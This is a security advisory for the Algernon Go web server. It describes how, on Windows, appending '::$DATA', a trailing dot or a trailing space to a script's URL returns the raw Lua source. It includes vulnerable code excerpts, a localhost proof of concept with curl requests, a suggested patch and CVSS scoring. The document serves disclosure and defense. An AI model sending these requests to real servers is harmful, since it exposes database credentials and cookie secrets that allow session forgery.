Skip to content

Server-side script source disclosure on Windows via NTFS filename

High
xyproto published GHSA-mm6c-5j6x-hq8m May 29, 2026

Package

gomod github.com/xyproto/algernon (Go)

Affected versions

<= 1.17.8

Patched versions

1.17.9

Description

Summary

Algernon selects its file handler from filepath.Ext() (engine/handlers.go:134), which does not treat the NTFS-equivalent names x.lua::$DATA, x.lua., or x.lua as .lua. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the SetCookieSecret value.

Linux and macOS hosts are unaffected.

Preconditions

  • Algernon runs on a Windows host (NTFS filesystem).
  • The instance serves at least one server-side script (.lua, .tl, .po2, .amber, .frm).
  • The script sits on a public path, or no auth backend is configured (--nodb, --simple, or default no-DB).
  • HTTP/HTTPS reachability to the server.

Details

// engine/handlers.go:133
lowercaseFilename := strings.ToLower(filename)
ext := filepath.Ext(lowercaseFilename) // "index.lua::$data" -> ".lua::$data", not ".lua"  [offending]
...
if ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false
    return
}
switch ext {
case ".lua", ".tl": // execute the script -- never reached for the equivalent forms
    // ... RunLua ...
default:
    // control reaches the raw-file branch below
}
// engine/handlers.go:452
f, err := os.Open(filename) // NTFS resolves "index.lua::$DATA" to index.lua's data stream
...
// engine/handlers.go:479
if dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {
    dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client
}

The request path reaches FilePage through URL2filename (utils/files.go:24), which rejects only ..; a :, a trailing ., and a trailing space all pass through into filename. filepath.Ext does an exact suffix match, so .lua::$data, ., and .lua are not equal to .lua or .tl. The renderer registry and the execute case are both skipped and control falls to the default branch.

The default branch opens filename with os.Open and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix ::$DATA, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.

Proof of concept

Setup

  1. Build Algernon from source on a Windows host:

    git clone https://github.com/xyproto/algernon
    cd algernon
    git checkout v1.17.8
    go build -o algernon.exe .
  2. Create a web root with a script that embeds secrets, exactly as a real handler would:

    New-Item -ItemType Directory webroot | Out-Null
    Set-Content webroot\index.lua @'
    -- db = POSTGRES("postgres://app:S3cr3t@db/prod")
    SetCookieSecret("hardcoded-session-key")
    print("<h1>hello</h1>")
    '@
  3. Serve the directory over plain HTTP with no auth backend (run in its own window):

    .\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webroot

Exploit

  1. Request the script normally. It executes, and the source is not disclosed:

    curl.exe -s http://127.0.0.1:8088/index.lua

    Expected: <h1>hello</h1>. The DSN and cookie secret are absent from the response.

  2. Request the same script through its NTFS ::$DATA stream. Algernon returns the raw source:

    curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'

    Expected: HTTP 200, Content-Type: application/octet-stream, body is the verbatim Lua source including SetCookieSecret("hardcoded-session-key") and the Postgres DSN.

  3. The trailing-dot and trailing-space forms leak the same source:

    curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'
    curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'

    Expected: identical raw-source response for both.

Impact

  • Confidentiality: Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and SetCookieSecret(...) values.
  • Authentication: A disclosed SetCookieSecret value lets an unauthenticated attacker forge session cookies and log in as any user.

Suggestions to fix

This has not been tested - it is illustrative only.

Reject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.

 func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {
+	// Reject Windows filename-equivalent forms that alias a different file
+	// than filepath.Ext sees (e.g. "x.lua::$DATA", "x.lua.", "x.lua ").
+	if base := filepath.Base(filename); strings.ContainsRune(base, ':') ||
+		strings.HasSuffix(base, ".") || strings.HasSuffix(base, " ") {
+		http.NotFound(w, req)
+		return
+	}
 	if ac.quitAfterFirstRequest {
 		go ac.quitSoon("Quit after first request", defaultSoonDuration)
 	}

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

Improper Handling of Windows ::DATA Alternate Data Stream

The product does not properly prevent access to, or detect usage of, alternate data streams (ADS). Learn more on MITRE.

Credits